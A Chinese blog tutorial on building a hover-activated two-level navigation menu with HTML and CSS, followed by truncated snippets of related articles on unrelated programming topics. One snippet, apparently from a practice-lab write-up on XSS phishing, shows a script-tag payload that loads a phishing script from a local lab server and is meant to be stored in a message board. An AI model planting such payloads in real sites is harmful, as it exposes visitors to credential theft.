【html+css（大作业）】二级菜单导航栏
目录
实现效果
代码及其解释
html部分
CSS部分
hello，hello好久不见！
今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出：
实现效果
代码及其解释
html部分
<!DOCTYPE html>
<html><head><link rel=" shortcut icon" type="image/x-icon" href="./img/图标1.jpg"><link rel="stylesheet" type="text/css" href="./css/首页.css"/><meta charset="utf-8" /><title>数博会官网</title></head><body><div class="navbar"><div class="nav"><ul><li></li><li></li><li></li><li><a href="#">首页</a><ol><li><a href="#">数博会介绍</a></li><li><a href="#">往届回顾</a></li><li><a href="#">精彩瞬间</a></li></ol></li><li><a href="#">新闻中心</a><ol><li><a href="#">头条新闻</a></li><li><a href="#">展会新闻</a></li><li><a href="#">行业新闻</a></li><li><a href="#">展商新闻</a></li></ol></li><li><a href="#">峰会论坛</a><ol><li><a href="#">大会日程</a></li><li><a href="#">高端对话</a></li><li><a href="#">专业论坛</a></li></ol></li><li><a href="#">展览会</a><ol> <li><a href="#">展会介绍</a></li><li><a href="#">展商名录</a></li><li><a href="#">展品列表</a></li><li><a href="#">展区分布</a></li></ol></li><li><a href="#">数博发布</a></li><li><a href="#">大赛</a></li><li><a href="#">观摩活动</a><ol> <li><a href="#">观摩活动介绍</a></li></ol></li><li class="aaa"><a href="#">数博电讯</a><ol> <li><a href="#">【数博2023】第十二期</a></li><li><a href="#">【数博2023】第十一期</a></li><li><a href="#">【数博2023】第十期</a></li><li><a href="#">【数博2023】第九期</a></li><li><a href="#">【数博2023】第八期</a></li><li><a href="#">【数博2023】第七期</a></li><li><a href="#">【数博2023】第六期</a></li><li><a href="#">【数博2023】第五期</a></li><li><a href="#">【数博2023】第四期</a></li><li><a href="#">【数博2023】第三期</a></li><li><a href="#">【数博2023】第二期</a></li><li><a href="#">【数博2023】第一期</a></li></ol></li><li><a href="#">资料下载</a></li><li><a href="#">联系我们</a><ol> <li><a href="#">联系方式</a></li><li><a href="#">组织机构</a></li><li><a href="#">隐私保护协议</a></li></ol></li><li></li><li class="underline"><!-- 这个元素用来定义滑动的线条 --></li></ul> </div></div><div class="bigimg"><img src="img/大作业/首页大一.jpg" ></div></body>
</html>
CSS部分
*{padding: 0;margin: 0;
}
body{width: 100%;}
li{list-style: none;
}
a{
text-decoration: none;color:#FFFFFF;
}
li ol a{color: darkblue;font-size: 12.5px;line-height: 70px;
}
li ol{text-align: center;
}
.aaa ol li a{font-size: 10px;
}
.navbar{float: left;width: 100%;height: 70px;background-color: #0D2654;background-color: rgba(0,0,0,0.3);/* 怎么感觉没用啊？ */box-shadow: 0px 0px 5px ;
}
/* 后代选择器 */
.navbar .nav{width: 100%;height: 100%;/* 让元素水平居中 */margin: 0 auto;
}
.navbar .nav ul{/* 相对定位 */position: relative;/* 弹性布局 */display: flex;/* 让子元素平均分配宽度 */justify-content: space-around;width: 100%;height: 100%;
}
/* 只对ul里的li起作用？ */
.navbar .nav ul>li{background-color: #0D2654;background: rgba(0,0,0,0.3);width: 100%;height: 100%;
}
/* 只对ul里的li里的a起作用 */
.navbar .nav ul>li>a{/* ? */display: block;width: 100%;height: 100%;line-height: 70px;text-align: center;
}
.navbar .nav ul>li ol{width: 100%;background-color: #FFFFFF;/* box-shadow: 1px 1px 3px; *//* 让盒子先沿着y轴缩放到0，也就是隐藏了 */transform: scaleY(0);/* 我们需要将盒子从上面滑动下来 设置一下缩放中心点即可 */transform-origin: 50% 0;/* 设置过渡 *//* transition: all 0.6s; */
}
.navbar .nav ul >li ol li{height: 70px;border-bottom: 1px solid rgb(245,245,245);
}
.navbar .nav ul>li ol li:hover{background-color: rgba(0,180,245,0.3);
}
.navbar .nav ul>li:hover ol{transform: scaleY(1);
}
.navbar .nav ul .underline{top: 50px;/* 绝对定位 */position: absolute;bottom: 0;/* 第一个条条距离最左边的距离 */left: 315px;width: 100px;/* 条高 */height: 2px;/* 设置圆角 */border-radius: 2px;background-color: white;/* 加上过渡 *//* transition: all 0.5s; *//* 不加了 */pointer-events: none;}.navbar .nav ul>li:nth-child(2):hover~ .underline{left: 315px;background-color:white;}.navbar .nav ul>li:nth-child(3):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(4):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(5):hover~ .underline{left: 425px;background-color:white;}.navbar .nav ul>li:nth-child(6):hover~ .underline{left: 525px;background-color: white;}.navbar .nav ul>li:nth-child(7):hover~ .underline{left: 635px;background-color:white;}.navbar .nav ul>li:nth-child(8):hover~ .underline{left: 735px;background-color: white;}.navbar .nav ul>li:nth-child(9):hover~ .underline{left: 840px;background-color:white;}.navbar .nav ul>li:nth-child(10):hover~ .underline{left: 945px;background-color: white;}.navbar .nav ul>li:nth-child(11):hover~ .underline{left: 1045px;background-color: white;}.navbar .nav ul>li:nth-child(12):hover~ .underline{left: 1150px;background-color:white;}.navbar .nav ul>li:nth-child(13):hover~ .underline{left: 1260px;background-color:white;}.navbar .nav ul>li:nth-child(14):hover~ .underline{left: 1260px;background-color:white;}.bigimg{float: left;margin-top: -70px;}img{width: 100%;}希望能帮到您！！，
我们下次见啦~~
相关文章：
【html+css（大作业）】二级菜单导航栏
目录 实现效果 代码及其解释 html部分 CSS部分 hello，hello好久不见！ 今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出： 实现效果 代码及其解释 html部分 <!DOCTYPE html> &l…...
算法基础之集合-Nim游戏
集合-Nim游戏 核心思想： 博弈论 sg函数：在有向图游戏中,对于每个节点x,设从x出发共有k条有向边,分别到达节点y1,y2,yk,定义SG(x)的后记节点y1,y2,,yk的SG函数值构成的集合在执行mex运算的结果,即:SG(x)mex({SG(y1),SG(y2)SG(yk)}) **特别地,**整个有向图…...
Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解
文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…...
智能奶柜：重塑牛奶零售新篇章
智能奶柜：重塑牛奶零售新篇章 回忆往昔，孩童时代对送奶员每日拜访的期待，那熟悉的一幕——新鲜牛奶被细心放置于家门口的奶箱中，成为了许多人温馨的童年记忆。如今，尽管直接投递袋装牛奶的情景已不多见，但…...
源代码防泄密--沙盒技术安全风险分析
将原本用于防护病毒木马的沙盒（沙箱）技术，运用于源代码防泄密领域，形成沙盒防泄密系统，是否安全可行？依据沙盒防泄密基本工作原理，可从安全模型、沙箱逃逸以及与进程相关性等多个角度࿰…...
韭菜收割项目
最近在玩股票，被人当成韭菜收割了一顿。高点追涨，第二天直接跌停。以为是低点，想抄底，结果别人直接抄家，血亏!!! 作为一个程序员，还是好好敲代码赚钱好了，一步一步。想不劳而获是不可能的。 我写…...
Unity3D输入事件
文章目录 前言一、全局事件二、射线三、点选3D模型四、点击地面控制人物移动总结 前言 Unity输入事件分为两类，全局触发和监听式触发。全局触发通常是运行在update在每帧进行检测，而监听式触发是被动的输入事件。 一、全局事件 在最新的unity中有新和旧…...
c++ thread detach
#include <thread> #include <iostream>using namespace std;void func() {cout << "子线程func开始执行！" << endl;//do somethingcout << "子线程func执行结束！" << endl; }int main() {cout…...
入门四认识HTML
目录 一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性 二、HTML骨架标签 三、编写HTML工具 四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...
js怎么生成验证码？js生成指定长度的随机字符串
在项目中经常有生成随机字符串的需求，比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)，我们可以使用Javascript生成随机字符。 使用随机数从给出的可能字符中抽取合并字符串 优点是可以自定义结果中字符的取值，比如…...
Python魔法之旅-魔法方法(01)
目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...
介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块
npm（Node Package Manager）模块安装机制是Node.js生态系统中非常重要的一部分，它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制，以及为什么输入npm install就可以自动安装对应的模块。 npm模…...
vue2如何父组件 对象 双向绑定子组件
对于Vue 2，你不能直接用v-model绑定对象，但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。 父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...
[Android]在后台线程执行耗时操作，然后在主线程更新UI
1.Coroutines（官方推荐） Coroutines 提供了一种轻量级的线程管理方式，使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤： 添加 Coroutines 依赖: 首…...
平方回文数-第13届蓝桥杯选拔赛Python真题精选
[导读]：超平老师的Scratch蓝桥杯真题解读系列在推出之后，受到了广大老师和家长的好评，非常感谢各位的认可和厚爱。作为回馈，超平老师计划推出《Python蓝桥杯真题解析100讲》，这是解读系列的第73讲。 平方回文数&#…...
 2D旋转位置编码)
位置编码(三) 2D旋转位置编码
Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路：4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路：17、多模态位置编码的简单思考 https://kexue.fm/archive…...
1、pikachu靶场之xss钓鱼复现
一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上，如下留言板 2、此时恶意代码已经存入数据库，并存在网页中，当另一个用户打开这个网页…...
弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？
股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法，发行价格为发行前某一阶段的平均价的必定比例，增发的价格不得低于前二十个买卖日股票均价的80％。 例如，个股定增前二十个买卖股票平均价为…...
vue3项目使用pinia状态管理器----通俗易懂
1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹，然后store目录下新建index.js / index.ts ： 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...
零基础学Java第二十五天之Lambda表达式
Lambda表达式 简介 Lambda是一个匿名函数(方法)， 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格，使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...
TDengine 快速体验（Docker 镜像方式）
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能，本节首先介绍如何通过 Docker 快速体验 TDengine，然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker，请使用 安装包的方式快…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 （FL） 支持跨分布式客户端进行协作模型训练，而无需共享原始数据，这使其成为在互联和自动驾驶汽车 （CAV） 等领域保护隐私的机器学习的一种很有前途的方法。然而，最近的研究表明&…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
Java 加密常用的各种算法及其选择
在数字化时代，数据安全至关重要，Java 作为广泛应用的编程语言，提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景，有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
VTK如何让部分单位不可见
最近遇到一个需求，需要让一个vtkDataSet中的部分单元不可见，查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行，是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示，主要是最后一个参数，透明度…...
微信小程序云开发平台MySQL的连接方式
注：微信小程序云开发平台指的是腾讯云开发 先给结论：微信小程序云开发平台的MySQL，无法通过获取数据库连接信息的方式进行连接，连接只能通过云开发的SDK连接，具体要参考官方文档： 为什么？ 因为…...
深入解析C++中的extern关键字：跨文件共享变量与函数的终极指南
🚀 C extern 关键字深度解析：跨文件编程的终极指南 📅 更新时间：2025年6月5日 🏷️ 标签：C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言🔥一、extern 是什么？&…...
在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包： for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
图表类系列各种样式PPT模版分享
图标图表系列PPT模版，柱状图PPT模版，线状图PPT模版，折线图PPT模版，饼状图PPT模版，雷达图PPT模版，树状图PPT模版 图表类系列各种样式PPT模版分享：图表系列PPT模板https://pan.quark.cn/s/20d40aa…...
Java 二维码
Java 二维码 **技术：**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...